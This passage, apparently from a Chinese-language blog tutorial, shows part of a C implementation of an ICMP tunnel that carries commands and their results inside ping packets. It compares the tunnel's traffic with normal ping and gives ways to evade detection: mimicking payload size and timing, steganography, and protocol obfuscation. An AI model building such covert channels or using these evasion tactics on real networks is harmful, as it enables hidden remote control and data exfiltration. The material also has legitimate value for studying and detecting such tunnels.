        connected = 1;
        LOG_INFO("=== Server 已连接: %s ===", inet_ntoa(server_ip));
    }
    
    // 4. 显示结果
    if (recv_cmd_type != CMD_HEART && recv_len > 0) {
        LOG_INFO("收到结果: cmd=%s, len=%d", cmd_type_str(recv_cmd_type), recv_len);
        LOG_INFO("内容: %.*s", recv_len, recv_data);
    }
    
    // 5. 发送 Reply(携带命令或回显数据)
    uint8_t send_type;
    void* send_data;
    int send_len;
    
    if (g_pending_cmd_len > 0) {
        // 有命令要发送
        send_type = g_pending_cmd_type;
        send_data = g_pending_cmd_data;
        send_len = g_pending_cmd_len;
    } else {
        // 回显收到的数据
        send_type = CMD_HEART;
        send_data = recv_data;
        send_len = recv_len;
    }
    
    send_reply(sock, src_ip, pkt_id, pkt_seq, send_type, send_data, send_len);
    
    // 6. 清空已发送的命令
    if (g_pending_cmd_len > 0) {
        g_pending_cmd_len = 0;
    }
}

效果展示

server端:

client端:

流量特征与检测对抗:抓包分析 + 调优

与普通 ping 流量对比

要让 ICMP 隧道真正"隐蔽",首先需要了解它与普通 ping 流量的区别。我们通过 Wireshark 抓包对比分析。

普通 ping 的流量特征

使用系统自带的 ping 命令:

ping -c 2 1.1.1.1

抓包分析可以看到以下特征:

echo request:

echo reply:

  1. 固定的 Payload 模式:
  • 默认 payload 为 56 字节(Linux)或 32 字节(Windows)
  • 内容通常是固定的字符序列,如 !"#$%&'()*+,-./01234567...
  • 或者是递增的字节序列:0x08 0x09 0x0a 0x0b ...
  1. 规律的时间间隔:
  • 每秒发送一个包(1000ms 间隔)
  • 时间间隔非常稳定
  1. 对称的请求-应答:
  • Echo Request 和 Echo Reply 的 payload 完全相同
  • ID 和序列号严格对应
  1. ICMP 头部特征:
  • Type: 8 (Echo Request) / 0 (Echo Reply)
  • Code: 0
  • ID: 进程 PID
  • Sequence: 从 1 开始递增

ICMP 隧道的流量特征

运行我们的隧道程序后,抓包会发现明显的差异:

server:心跳包

client:命令包:

server:结果包:

  1. 可变的 Payload 长度:
  • 心跳包:ICMP 头 (8 字节) + 协议头 (7 字节) = 15 字节
  • 命令包:15 字节 + 命令长度(可变)
  • 结果包:15 字节 + 结果长度(可变,最大 1400 字节)
  1. 非标准的 Payload 内容:
  • 前 7 字节是自定义协议头:cmd_type | seq_num | total | data_len
  • 后续是命令或结果数据,通常是可打印字符或二进制数据
  • 与普通 ping 的固定模式完全不同
  1. 不对称的请求-应答:
  • Echo Request 携带命令执行结果
  • Echo Reply 携带新命令
  • Payload 内容不对称
  1. 时间间隔特征:
  • 心跳间隔可配置(默认 5 秒)
  • 收到命令后立即回复,不等待下一个心跳周期
  • 时间间隔不规律

简单检测思路与绕过

检测思路 1:Payload 长度异常,常规 icmp 长度是固定的

  • 可以通过伪装流量大小,让每个请求的大小和ping命令相同

检测思路 2:Payload 内容熵值异常,熵值大意味着可能存在压缩或者加密的数据

  • 可以通过隐写将命令和结果编码到正常的结果里
  • 心跳包伪装成正常的ping命令进行掩护

检测思路 3:时间间隔异常,常规 ping 频率是1秒1个包

  • 调整心跳包频率即可

检测思路 4:请求-应答不对称

  • 这是一个很难搞的地方,使用其他ICMP类型的数据包吗?

后续要实现真正的隐蔽通信,还需要综合运用多种技术,核心思想是:让隧道流量在统计特征上与正常 ping 流量无法区分

来看看AI给出的x想法:

  1. 流量伪装:
  • Payload 长度固定为 56 字节
  • 内容模拟标准 ping 模式
  • 时间间隔固定为 1 秒
  1. 数据隐写:
  • 将命令和结果编码到看似正常的数据中
  • 使用 LSB(最低有效位)隐写术
  • 混入大量正常 ping 流量作为掩护
  1. 协议混淆:
  • 使用多种 ICMP 类型(不只是 Echo)
  • 随机化 ID 和 Sequence
  • 模拟多个"正常"主机的 ping 行为
  1. 流量调度:
  • 限制发送频率,避免突发流量
  • 在业务高峰期通信,混入正常流量

总结

这种手动操纵数据包的控制感非常有趣,通过Raw Socket需要我们自己组装数据包的一切,需要知道协议是怎么工作的,隐蔽通信的本质:让异常流量在统计特征上与正常流量无法区分。

本文展示了 从0实现ICMP隧道的过程,ICMP 隧道与普通 ping 流量的差异,以及简单的检测与绕过思路。毕竟不存在完美的隐蔽,隐蔽通信所作的事情就是提高检测的成本和难度,当难以被检测到,则在那个场景下就是隐身的。

参考资料

‍